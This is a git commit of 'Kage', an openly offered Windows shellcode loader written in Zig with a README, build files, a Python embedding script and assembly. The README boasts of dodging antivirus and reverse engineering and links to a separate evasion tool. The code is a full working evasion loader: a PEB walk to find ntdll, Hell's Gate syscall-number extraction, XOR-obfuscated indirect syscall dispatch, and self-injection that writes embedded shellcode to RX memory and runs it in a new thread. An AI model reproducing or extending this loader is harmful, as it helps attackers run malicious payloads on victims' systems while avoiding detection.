This commit is contained in:
2026-07-18 09:30:07 +01:00
commit 99f45673ef
10 changed files with 480 additions and 0 deletions
+7
View File
@@ -0,0 +1,7 @@
zig-out/
.zig-cache/
*.exe
*.pdb
docs/index.md
valak.bin
*.bin
+56
View File
@@ -0,0 +1,56 @@
# Kage <sub>影</sub>
<p align="center">
<img src="assets/Kage.png" alt="Kage">
</p>
> 影に潜む
Shellcode loader using indirect syscalls. Self-injection, jitter between steps.
## Build
```bash
# 1. place your shellcode as valak.bin in this directory
# 2. embed it into the source:
python3 embed.py
# 3. compile:
zig build -Dtarget=x86_64-windows-gnu -Doptimize=ReleaseFast
# → zig-out/bin/kage.exe
```
Single binary output, no external files needed at runtime.
## Why Zig
No CRT. C programs pull in the C Runtime Library which adds DLL imports to your IAT. Zig just calls the OS. Means less for AV to see.
Detection engines mostly know C, C++, Rust, Go. Zig flies under the radar. Lower VirusTotal scores.
Ghidra struggles with Zig binaries (there's an open bug for it). IDA doesn't properly support it either. Makes reverse engineering harder.
## 仕掛け
- **影探し** — ntdll via PEB walk (`gs:[0x60]`)
- **闇渡り** — indirect syscall dispatch
- **血判** — Hell's Gate SSN resolution
- **影纏い** — XOR-encoded asm dispatch globals
For evasion use [Valak](https://git.churchofmalware.org/JYenn/valak).
## Layout
```
src/
├── main.zig entry, execution
├── win32.zig types & externs
├── pe.zig PE parser, export resolver
├── syscall.zig Hell's Gate extraction + PEB ntdll finder
├── hells_gate.s asm dispatch (XOR globals)
build.zig
embed.py embeds valak.bin into main.zig
```
## License
MIT
BIN
View File
Binary file not shown.

After

Width:  |  Height:  |  Size: 898 KiB

+35
View File
@@ -0,0 +1,35 @@
const std = @import("std");
pub fn build(b: *std.Build) void {
const target = b.standardTargetOptions(.{ .default_target = .{
.cpu_arch = .x86_64,
.os_tag = .windows,
} });
const optimize = b.standardOptimizeOption(.{});
const module = b.createModule(.{
.root_source_file = b.path("src/main.zig"),
.target = target,
.optimize = optimize,
});
const exe = b.addExecutable(.{
.name = "kage",
.root_module = module,
});
module.addAssemblyFile(b.path("src/hells_gate.s"));
exe.subsystem = .Console;
b.installArtifact(exe);
const run_cmd = b.addRunArtifact(exe);
run_cmd.step.dependOn(b.getInstallStep());
if (b.args) |args| {
run_cmd.addArgs(args);
}
const run_step = b.step("run", "Run the loader");
run_step.dependOn(&run_cmd.step);
}
+20
View File
@@ -0,0 +1,20 @@
with open("valak.bin", "rb") as f:
data = f.read()
lines = []
for i in range(0, len(data), 12):
chunk = data[i:i+12]
lines.append(" " + ", ".join(f"0x{b:02x}" for b in chunk) + ",")
with open("src/main.zig") as f:
content = f.read()
start = content.index("const shellcode = [_]u8{")
end = content.index("};\n\nfn", start) + 3
new_block = "const shellcode = [_]u8{\n" + "\n".join(lines) + "\n};"
content = content[:start] + new_block + content[end:]
with open("src/main.zig", "w") as f:
f.write(content)
print(f"Embedded {len(data)} bytes")
+25
View File
@@ -0,0 +1,25 @@
.intel_syntax noprefix
.data
wSystemCallEnc: .long 0
qSyscallInsAddressEnc: .quad 0
wMask: .long 0xDEADBEEF
qMask: .quad 0xDEADBEEFDEADBEEF
.text
.global hells_gate
.global hell_descent
hells_gate:
xor ecx, dword ptr [rip + wMask]
mov dword ptr [rip + wSystemCallEnc], ecx
xor rdx, qword ptr [rip + qMask]
mov qword ptr [rip + qSyscallInsAddressEnc], rdx
ret
hell_descent:
mov r10, rcx
mov eax, dword ptr [rip + wSystemCallEnc]
xor eax, dword ptr [rip + wMask]
mov r11, qword ptr [rip + qSyscallInsAddressEnc]
xor r11, qword ptr [rip + qMask]
jmp r11
+118
View File
@@ -0,0 +1,118 @@
const std = @import("std");
const win = @import("win32.zig");
const syscall = @import("syscall.zig");
const print = std.debug.print;
var g_sys: syscall.Syscalls = undefined;
extern fn hells_gate(syscall_number: u32, address: usize) void;
extern fn hell_descent(arg1: usize, arg2: usize, arg3: usize, arg4: usize, arg5: usize, arg6: usize, arg7: usize, arg8: usize, arg9: usize, arg10: usize, arg11: usize) win.NTSTATUS;
fn ok(comptime fmt: []const u8, args: anytype) void { print("[+] " ++ fmt ++ "\n", args); }
fn info(comptime fmt: []const u8, args: anytype) void { print("[*] " ++ fmt ++ "\n", args); }
fn err(comptime fmt: []const u8, args: anytype) void { print("[-] " ++ fmt ++ "\n", args); }
const shellcode = [_]u8{
// paste your shellcode bytes here
};
fn banner() void {
print(
\\ Kage — shellcode loader
\\ Author: JYenn
\\
, .{});
}
pub fn main() void {
banner();
if (shellcode.len == 0) {
err("no shellcode embedded", .{});
return;
}
g_sys = syscall.Syscalls.resolve() orelse {
err("failed to resolve syscalls", .{});
return;
};
ok("syscalls resolved via PEB walk", .{});
const current_process: win.HANDLE = win.NtCurrentProcess;
var base_addr: ?*anyopaque = null;
var size: win.SIZE_T = shellcode.len;
const status = ntAllocateVirtualMemory(current_process, &base_addr, 0, &size, win.MEM_COMMIT | win.MEM_RESERVE, win.PAGE_READWRITE);
if (!win.NT_SUCCESS(status)) {
err("NtAllocateVirtualMemory failed: 0x{X}", .{@as(u32, @bitCast(status))});
return;
}
ok("allocated {d} bytes at 0x{X}", .{ size, @intFromPtr(base_addr) });
jitter(10, 50);
const buffer: [*]u8 = @ptrCast(base_addr);
@memcpy(buffer[0..shellcode.len], &shellcode);
info("shellcode loaded ({d} bytes)", .{shellcode.len});
jitter(10, 30);
var old_protect: win.ULONG = 0;
_ = ntProtectVirtualMemory(current_process, &base_addr, &size, win.PAGE_EXECUTE_READ, &old_protect);
ok("memory protected to RX", .{});
jitter(5, 15);
var thread_handle: win.HANDLE = undefined;
_ = ntCreateThreadEx(&thread_handle, win.THREAD_ALL_ACCESS, null, current_process, @ptrFromInt(@intFromPtr(base_addr)), null, 0, 0, 0, 0, null);
ok("thread created, waiting for completion", .{});
_ = ntWaitForSingleObject(thread_handle, false, null);
}
fn ntAllocateVirtualMemory(process: win.HANDLE, base: *?*anyopaque, zero: win.ULONG_PTR, size: *win.SIZE_T, alloc: win.ULONG, prot: win.ULONG) win.NTSTATUS {
const entry = g_sys.NtAllocateVirtualMemory;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(
@intFromPtr(process), @intFromPtr(base), zero, @intFromPtr(size), alloc, prot,
0, 0, 0, 0, 0,
);
}
fn ntProtectVirtualMemory(process: win.HANDLE, base: *?*anyopaque, size: *win.SIZE_T, new_prot: win.ULONG, old_prot: *win.ULONG) win.NTSTATUS {
const entry = g_sys.NtProtectVirtualMemory;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(
@intFromPtr(process), @intFromPtr(base), @intFromPtr(size), new_prot, @intFromPtr(old_prot),
0, 0, 0, 0, 0, 0,
);
}
fn ntCreateThreadEx(handle: *win.HANDLE, access: win.ACCESS_MASK, attrs: ?*win.OBJECT_ATTRIBUTES, process: win.HANDLE, start: ?*anyopaque, arg: ?*anyopaque, flags: win.ULONG, zero: win.SIZE_T, stack: win.SIZE_T, max_stack: win.SIZE_T, list: ?*anyopaque) win.NTSTATUS {
const entry = g_sys.NtCreateThreadEx;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(
@intFromPtr(handle), access, @intFromPtr(attrs), @intFromPtr(process), @intFromPtr(start),
@intFromPtr(arg), flags, zero, stack, max_stack, @intFromPtr(list),
);
}
fn ntWaitForSingleObject(handle: win.HANDLE, alertable: bool, timeout: ?*win.LARGE_INTEGER) win.NTSTATUS {
const entry = g_sys.NtWaitForSingleObject;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(
@intFromPtr(handle), @intFromBool(alertable), @intFromPtr(timeout),
0, 0, 0, 0, 0, 0, 0, 0,
);
}
fn ntDelayExecution(alertable: bool, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
const entry = g_sys.NtDelayExecution;
hells_gate(entry.number, @intFromPtr(entry.gadget));
return hell_descent(@intFromBool(alertable), @intFromPtr(interval), 0, 0, 0, 0, 0, 0, 0, 0, 0);
}
fn jitter(min_ms: u64, max_ms: u64) void {
var interval = win.LARGE_INTEGER{
.QuadPart = -@as(i64, @intCast(min_ms * 10000 + (@as(u64, @intFromPtr(&min_ms)) % ((max_ms - min_ms + 1) * 10000)))),
};
_ = ntDelayExecution(false, &interval);
}
+120
View File
@@ -0,0 +1,120 @@
const std = @import("std");
pub const IMAGE_DOS_HEADER = extern struct {
e_magic: u16,
e_cblp: u16,
e_cp: u16,
e_crlc: u16,
e_cparhdr: u16,
e_minalloc: u16,
e_maxalloc: u16,
e_ss: u16,
e_sp: u16,
e_csum: u16,
e_ip: u16,
e_cs: u16,
e_lfarlc: u16,
e_ovno: u16,
e_res: [4]u16,
e_oemid: u16,
e_oeminfo: u16,
e_res2: [10]u16,
e_lfanew: i32,
};
pub const IMAGE_FILE_HEADER = extern struct {
Machine: u16,
NumberOfSections: u16,
TimeDateStamp: u32,
PointerToSymbolTable: u32,
NumberOfSymbols: u32,
SizeOfOptionalHeader: u16,
Characteristics: u16,
};
pub const IMAGE_DATA_DIRECTORY = extern struct {
VirtualAddress: u32,
Size: u32,
};
pub const IMAGE_OPTIONAL_HEADER64 = extern struct {
Magic: u16,
MajorLinkerVersion: u8,
MinorLinkerVersion: u8,
SizeOfCode: u32,
SizeOfInitializedData: u32,
SizeOfUninitializedData: u32,
AddressOfEntryPoint: u32,
BaseOfCode: u32,
ImageBase: u64,
SectionAlignment: u32,
FileAlignment: u32,
MajorOperatingSystemVersion: u16,
MinorOperatingSystemVersion: u16,
MajorImageVersion: u16,
MinorImageVersion: u16,
MajorSubsystemVersion: u16,
MinorSubsystemVersion: u16,
Win32VersionValue: u32,
SizeOfImage: u32,
SizeOfHeaders: u32,
CheckSum: u32,
Subsystem: u16,
DllCharacteristics: u16,
SizeOfStackReserve: u64,
SizeOfStackCommit: u64,
SizeOfHeapReserve: u64,
SizeOfHeapCommit: u64,
LoaderFlags: u32,
NumberOfRvaAndSizes: u32,
DataDirectory: [16]IMAGE_DATA_DIRECTORY,
};
pub const IMAGE_EXPORT_DIRECTORY = extern struct {
Characteristics: u32,
TimeDateStamp: u32,
MajorVersion: u16,
MinorVersion: u16,
Name: u32,
Base: u32,
NumberOfFunctions: u32,
NumberOfNames: u32,
AddressOfFunctions: u32,
AddressOfNames: u32,
AddressOfNameOrdinals: u32,
};
const IMAGE_NT_HEADERS64 = extern struct {
Signature: u32,
FileHeader: IMAGE_FILE_HEADER,
OptionalHeader: IMAGE_OPTIONAL_HEADER64,
};
pub fn findExport(dll_base: [*]u8, name: []const u8) ?[*]u8 {
const dos = @as(*IMAGE_DOS_HEADER, @ptrCast(@alignCast(dll_base)));
if (dos.e_magic != 0x5A4D) return null;
const nt_hdrs = @as(*IMAGE_NT_HEADERS64, @ptrCast(@alignCast(dll_base + @as(usize, @intCast(dos.e_lfanew)))));
if (nt_hdrs.Signature != 0x00004550) return null;
const export_dir = nt_hdrs.OptionalHeader.DataDirectory[0];
if (export_dir.VirtualAddress == 0) return null;
const exp = @as(*IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(dll_base + export_dir.VirtualAddress)));
const names = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfNames)));
const funcs = @as([*]u32, @ptrCast(@alignCast(dll_base + exp.AddressOfFunctions)));
const ords = @as([*]u16, @ptrCast(@alignCast(dll_base + exp.AddressOfNameOrdinals)));
var i: u32 = 0;
while (i < exp.NumberOfNames) : (i += 1) {
const export_name_ptr = @as([*:0]u8, @ptrCast(dll_base + names[i]));
const export_name = std.mem.sliceTo(export_name_ptr, 0);
if (std.mem.eql(u8, export_name, name)) {
const rva = funcs[ords[i]];
return dll_base + rva;
}
}
return null;
}
+80
View File
@@ -0,0 +1,80 @@
const std = @import("std");
const pe = @import("pe.zig");
pub const Entry = struct {
number: u32,
gadget: *anyopaque,
};
pub const Syscalls = struct {
NtAllocateVirtualMemory: Entry,
NtProtectVirtualMemory: Entry,
NtCreateThreadEx: Entry,
NtWaitForSingleObject: Entry,
NtDelayExecution: Entry,
pub fn resolve() ?Syscalls {
const ntdll = findNtdll() orelse return null;
const names = [_][]const u8{
"NtAllocateVirtualMemory",
"NtProtectVirtualMemory",
"NtCreateThreadEx",
"NtWaitForSingleObject",
"NtDelayExecution",
};
var result: Syscalls = undefined;
inline for (names) |name| {
const entry = extractEntry(ntdll, name) orelse return null;
@field(result, name) = entry;
}
return result;
}
};
fn findNtdll() ?[*]u8 {
var peb: usize = undefined;
asm volatile ("movq %%gs:0x60, %[r]"
: [r] "=r" (peb),
);
const ldr = @as(*align(1) usize, @ptrFromInt(peb + 0x18)).*;
const head = ldr + 0x10;
var entry = @as(*align(1) usize, @ptrFromInt(head)).*;
while (entry != head) : (entry = @as(*align(1) usize, @ptrFromInt(entry)).*) {
const base = @as(*align(1) usize, @ptrFromInt(entry + 0x30)).*;
if (base == 0) continue;
const dos = @as(*align(1) extern struct { pad: [0x3C]u8, e_lfanew: u32 }, @ptrFromInt(base));
const nt = @as(*align(1) extern struct {
Signature: u32,
FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
OptionalHeader: extern struct { Magic: u16, pad: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
}, @ptrFromInt(base + @as(usize, @intCast(dos.e_lfanew))));
if (nt.Signature != 0x00004550) continue;
const exp_dir = nt.OptionalHeader.DataDirectory[0];
if (exp_dir.VirtualAddress == 0) continue;
const exp = @as(*align(1) extern struct { Characteristics: u32, pad: [8]u8, Name: u32, pad2: [40]u8 }, @ptrFromInt(base + @as(usize, @intCast(exp_dir.VirtualAddress))));
const name = @as([*:0]const u8, @ptrFromInt(base + @as(usize, @intCast(exp.Name))));
if (std.mem.eql(u8, std.mem.sliceTo(name, 0), "ntdll.dll")) return @ptrFromInt(base);
}
return null;
}
fn extractEntry(ntdll: [*]u8, name: []const u8) ?Entry {
const addr = pe.findExport(ntdll, name) orelse return null;
const bytes = @as([*]u8, @ptrCast(addr));
if (bytes[0] != 0x4C or bytes[1] != 0x8B or bytes[2] != 0xD1) return null;
if (bytes[3] != 0xB8) return null;
const number = std.mem.readInt(u32, bytes[4..8], .little);
var gadget: ?*anyopaque = null;
var i: usize = 0;
while (i < 64) : (i += 1) {
if (bytes[i] == 0x0F and bytes[i + 1] == 0x05 and bytes[i + 2] == 0xC3) {
gadget = @ptrFromInt(@intFromPtr(addr) + i);
break;
}
}
if (gadget == null) return null;
return Entry{ .number = number, .gadget = gadget.? };
}
+19
View File
@@ -0,0 +1,19 @@
pub const HANDLE = *anyopaque;
pub const NTSTATUS = i32;
pub const ULONG = u32;
pub const ULONG_PTR = usize;
pub const ACCESS_MASK = u32;
pub const SIZE_T = usize;
pub const OBJECT_ATTRIBUTES = extern struct { Length: ULONG, RootDirectory: ?HANDLE, ObjectName: *anyopaque, Attributes: ULONG, SecurityDescriptor: ?*anyopaque, SecurityQualityOfService: ?*anyopaque };
pub const MEM_COMMIT: ULONG = 0x00001000;
pub const MEM_RESERVE: ULONG = 0x00002000;
pub const PAGE_READWRITE: ULONG = 0x04;
pub const PAGE_EXECUTE_READ: ULONG = 0x20;
pub const THREAD_ALL_ACCESS: ACCESS_MASK = 0x1FFFFF;
pub const NtCurrentProcess: HANDLE = @ptrFromInt(@as(usize, @bitCast(@as(i64, -1))));
pub const LARGE_INTEGER = extern struct { QuadPart: i64 };
pub inline fn NT_SUCCESS(status: NTSTATUS) bool {
return status >= 0;
}